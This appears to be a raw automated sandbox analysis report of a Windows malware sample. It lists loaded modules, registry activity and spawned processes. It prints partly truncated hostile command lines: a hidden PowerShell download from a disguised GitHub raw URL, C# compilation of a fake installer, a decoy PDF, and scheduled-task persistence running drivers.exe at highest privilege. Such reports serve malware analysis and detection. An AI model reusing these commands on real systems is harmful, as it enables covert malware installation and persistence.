"API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75da0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75da0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 71ef0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 76a70000 "cmd.exe" loaded module "NTDLL.DLL" at base 774c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75da0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75da0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75da0000 "powershell.exe" loaded module "KERNEL32" at base 76a70000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 71ef0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 76a70000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 75530000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6c5c0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 76b40000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 75f80000 "powershell.exe" loaded module "VERSION.DLL" at base 73c00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 6be10000 "powershell.exe" loaded module "USER32.DLL" at base 76f50000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 75da0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 6c7e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 77240000 "powershell.exe" loaded module "RPCRT4.DLL" at base 75c50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 69620000 "powershell.exe" loaded module "OLE32.DLL" at base 74060000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 77240000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 76020000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72600000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 771e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 75da0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72070000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 68bc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 67b60000 "powershell.exe" loaded module "COMBASE.DLL" at base 77240000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 77240000 "powershell.exe" loaded module "NTDLL.DLL" at base 774c0000 "powershell.exe" loaded module "PSAPI.DLL" at base 77490000 "powershell.exe" loaded module "SHELL32.DLL" at base 741f0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 75bf0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 68440000 "powershell.exe" loaded module "AMSI.DLL" at base 6c670000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73c00000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 75bf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 768e0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 72140000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\7L4T6M7Y.DLL" at base 72100000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 67960000 "powershell.exe" loaded module "CRYPT32.DLL" at base 768e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 67590000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 77240000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 673d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 67a50000 "powershell.exe" loaded module "SECUR32.DLL" at base 6c790000 "powershell.exe" loaded module "SSPICLI.DLL" at base 73ee0000 "powershell.exe" loaded module "WLDP.DLL" at base 72160000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73990000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 66bd0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75da0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 71fa0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 71ec0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 68380000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 75da0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 75da000041:T531,"cmd.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 49540000 "powershell.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 49540000 "powershell.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 48190000 "csc.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 49540000 "csc.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 48190000 "cvtres.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 48190000 "cvtres.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 49540000 "sys_installer_27525.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 49540000 "sys_installer_27525.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 48190000 "python.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 771E0000 "python.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72980000 "py.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 771E0000 "py.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72980000 "cmd.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 771E0000 "schtasks.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 771E0000 "powershell.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 771E0000 "powershell.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 7298000042:T6e1,"49a27468cf5e8eb607c7ed4a605936fee1b345230080d18d5f24cd8295dbbd94.bin" was detected as "Windows Shortcut (.LNK)" and name: "Format" "python311.dll" was detected as "Windows Shortcut (.LNK)" and name: "Format" "libcrypto-3.dll" was detected as "Windows Shortcut (.LNK)" and name: "Format" "sqlite3.dll" was detected as "Windows Shortcut (.LNK)" and name: "Format" "libssl-3.dll" was detected as "Windows Shortcut (.LNK)" and name: "Format" "python.exe" was detected as "Windows Shortcut (.LNK)" and name: "Format" "py.exe" was detected as "Windows Shortcut (.LNK)" and name: "Format" "vcruntime140.dll" was detected as "Windows Shortcut (.LNK)" and name: "Format" "python3.dll" was detected as "Windows Shortcut (.LNK)" and name: "Format" "libffi-8.dll" was detected as "Windows Shortcut (.LNK)" and name: "Format" "unicodedata.pyd" was detected as "Windows Shortcut (.LNK)" and name: "Format" "_decimal.pyd" was detected as "Windows Shortcut (.LNK)" and name: "Format" "pyexpat.pyd" was detected as "Windows Shortcut (.LNK)" and name: "Format" "_ssl.pyd" was detected as "Windows Shortcut (.LNK)" and name: "Format" "_lzma.pyd" was detected as "Windows Shortcut (.LNK)" and name: "Format" "_elementtree.pyd" was detected as "Windows Shortcut (.LNK)" and name: "Format" "_ctypes.pyd" was detected as "Windows Shortcut (.LNK)" and name: "Format" "_sqlite3.pyd" was detected as "Windows Shortcut (.LNK)" and name: "Format" "_bz2.pyd" was detected as "Windows Shortcut (.LNK)" and name: "Format" "_socket.pyd" was detected as "Windows Shortcut (.LNK)" and name: "Format" "_asyncio.pyd" was detected as "Windows Shortcut (.LNK)" and name: "Format" "_hashlib.pyd" was detected as "Windows Shortcut (.LNK)" and name: "Format"43:Td4f,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "sys_installer_27525.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "sys_installer_27525.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "sys_installer_27525.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "sys_installer_27525.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "sys_installer_27525.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "sys_installer_27525.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "sys_installer_27525.exe" touched "Known Folder Manager" (Path: "HKCU\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "sys_installer_27525.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "sys_installer_27525.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "sys_installer_27525.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "sys_installer_27525.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "python.exe" touched "Adobe Acrobat Document" (Path: "HKCU\WOW6432NODE\CLSID\{B801CA65-A1FC-11D0-85AD-444553540000}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "python.exe" touched "Ptype_PSFactory" (Path: "HKCU\WOW6432NODE\CLSID\{11659A23-5884-4D1B-9CF6-67D6F4F90B36}\TREATAS") "py.exe" touched "WbemDefaultPathParser" (Path: "HKCU\WOW6432NODE\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "py.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "py.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "py.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "py.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "py.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "py.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\WOW6432NODE\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "py.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS")44:T75a,Observed system executable string:"C:\Windows\System32\cmd.exe" [Source: 49a27468cf5e8eb607c7ed4a605936fee1b345230080d18d5f24cd8295dbbd94.bin] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00006852-00000C46-1490976596] Observed system executable string:"// 2>nul || @goto :batch/*:batch@echo offsetlocalset "CSC=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe"if not exist "%CSC%" set "CSC=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe"if not exist "%CSC%" ( echo C# Compiler not found." [Source: 00000000-00005396-00000CBD-1680139617] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" [Source: 00000000-00001284-00000BC0-1681210291] Observed system executable string:""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /target:winexe /out:"%TEMP%\sys_in" [Source: 00000000-00001284-00000C46-2004591348], Observed system executable string:"%WINDIR%\SysWOW64\cmd.exe" [Source: 00000000-00002592-00000BC0-1705362312], Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00002592-00000C46-3203468296], Observed system executable string:"%WINDIR%\system32\cmd.exe /c "schtasks /Create /TN "Drivers_EveryMinute" /XML "%TEMP%\tmp67_g0g76.x" [Source: 00000000-00002592-00000C46-3203468296], Observed system executable string:"%WINDIR%\SysWOW64\schtasks.exe" [Source: 00000000-00003528-00000BC0-1707648675], Observed system executable string:"%WINDIR%\system32\schtasks.exe" [Source: 00000000-00003528-00000C46-4421575952], Observed system executable string:"%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00005792-00000BC0-1717275902], Observed system executable string:"%WINDIR%\system32\cmd.exe /c "schtasks /Create /TN "Drivers_EveryMinute" /XML "%TEMP%\tmp67_g0g76.xml" /F"" [Source: cmd.exe]45:T5e8,"cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "sys_installer_27525.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "sys_installer_27525.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "sys_installer_27525.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "sys_installer_27525.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "KO-KR") "sys_installer_27525.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "KO-KR") "sys_installer_27525.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-CN") "sys_installer_27525.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ZH-CN")46:T102f,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00005396-00000C2D-1062977920] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00005396-00000C2A-1673116083] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00005396-00000C2A-1673231587] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005396-00000C2A-1673318601] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00005396-00000C2A-1673457751] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00005396-00000C2A-1673508204] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00005396-00000C2A-1673561871] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00005396-00000C2A-1673617731] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00005396-00000C2A-1673687997] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00005396-00000C2A-1673730552] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00005396-00000C2A-1673807368] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00005396-00000C2A-1674012357] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00005396-00000C2A-1674165274] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00005396-00000C2A-1674501194] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00005396-00000C2A-1674648206] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00005396-00000C2A-1674719126] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00005396-00000C2A-1674912803] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00005396-00000C2A-1675092495] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00005396-00000C2A-1675100116] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00005396-00000C2A-1675249555] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00005396-00000C2A-1675482577] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00005396-00000C2A-1675614614] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00005396-00000C2A-1675882848] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00005396-00000C2A-1675890186] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll" [Source: 00000000-00005396-00000C2A-1676002789]47:T6f3,Spawned process "powershell.exe" with commandline "-w hidden -c "$x='7ttps://r4w.8it7u9userc0ntent.c0m/tiiisiet65-s ..." (UID: 00000000-00005396), Spawned process "cmd.exe" with commandline "/c ""%TEMP%\\s.cmd""" (UID: 00000000-00001284), Spawned process "csc.exe" with commandline "/nologo /target:winexe /out:"%TEMP%\\sys_installer_27525.exe" /r ..." (UID: 00000000-00007224), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESEFA8.tmp" "%TEM ..." (UID: 00000000-00005148), Spawned process "sys_installer_27525.exe" (UID: 00000000-00001352), Spawned process "python.exe" with commandline ""%TEMP%\\SystemDrivers\\macOSx\\run.py"" (UID: 00000000-00004796), Spawned process "AcroRd32.exe" with commandline ""%TEMP%\\Mango.pdf"" (UID: 00000000-00002584), Spawned process "py.exe" with commandline "%TEMP%\\Drivers\\macOS\\run.py" (UID: 00000000-00002592), Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c "schtasks /Create /TN "Drivers_Ev ..." (UID: 00000000-00003528), Spawned process "schtasks.exe" with commandline "schtasks /Create /TN "Drivers_EveryMinute" /XML "%TEMP%\\tmp67_ ..." (UID: 00000000-00005504), Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0A ..." (UID: 00000000-00005792, Additional Context: "Register-ScheduledTask -TaskName 'drivers.exe' -Action (New-ScheduledTaskAction -Execute 'C:\Users\HAPUBWS\AppData\Roaming\drivers.exe') -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)) -User $env:UserName -RunLevel Highest -Settings (New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Seconds 0) -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -Force")48:T6f3,Spawned process "powershell.exe" with commandline "-w hidden -c "$x='7ttps://r4w.8it7u9userc0ntent.c0m/tiiisiet65-s ..." (UID: 00000000-00005396), Spawned process "cmd.exe" with commandline "/c ""%TEMP%\\s.cmd""" (UID: 00000000-00001284), Spawned process "csc.exe" with commandline "/nologo /target:winexe /out:"%TEMP%\\sys_installer_27525.exe" /r ..." (UID: 00000000-00007224), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESEFA8.tmp" "%TEM ..." (UID: 00000000-00005148), Spawned process "sys_installer_27525.exe" (UID: 00000000-00001352), Spawned process "python.exe" with commandline ""%TEMP%\\SystemDrivers\\macOSx\\run.py"" (UID: 00000000-00004796), Spawned process "AcroRd32.exe" with commandline ""%TEMP%\\Mango.pdf"" (UID: 00000000-00002584), Spawned process "py.exe" with commandline "%TEMP%\\Drivers\\macOS\\run.py" (UID: 00000000-00002592), Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c "schtasks /Create /TN "Drivers_Ev ..." (UID: 00000000-00003528), Spawned process "schtasks.exe" with commandline "schtasks /Create /TN "Drivers_EveryMinute" /XML "%TEMP%\\tmp67_ ..." (UID: 00000000-00005504), Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0A ..." (UID: 00000000-00005792, Additional Context: "Register-ScheduledTask -TaskName 'drivers.exe' -Action (New-ScheduledTaskAction -Execute 'C:\Users\HAPUBWS\AppData\Roaming\drivers.exe') -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)) -User $env:UserName -RunLevel Highest -Settings (New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Seconds 0) -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -Force")49:T685,"python311.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "libcrypto-3.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "sqlite3.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "libssl-3.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "python.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "py.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "vcruntime140.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "python3.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "libffi-8.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "unicodedata.pyd" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "_decimal.pyd" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "pyexpat.pyd" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "_ssl.pyd" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "_lzma.pyd" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "_elementtree.pyd" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "_ctypes.pyd" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "_sqlite3.pyd" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "_bz2.pyd" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "_socket.pyd" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "_asyncio.pyd" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "_hashlib.pyd" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE4a:T4d9,Process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Enc 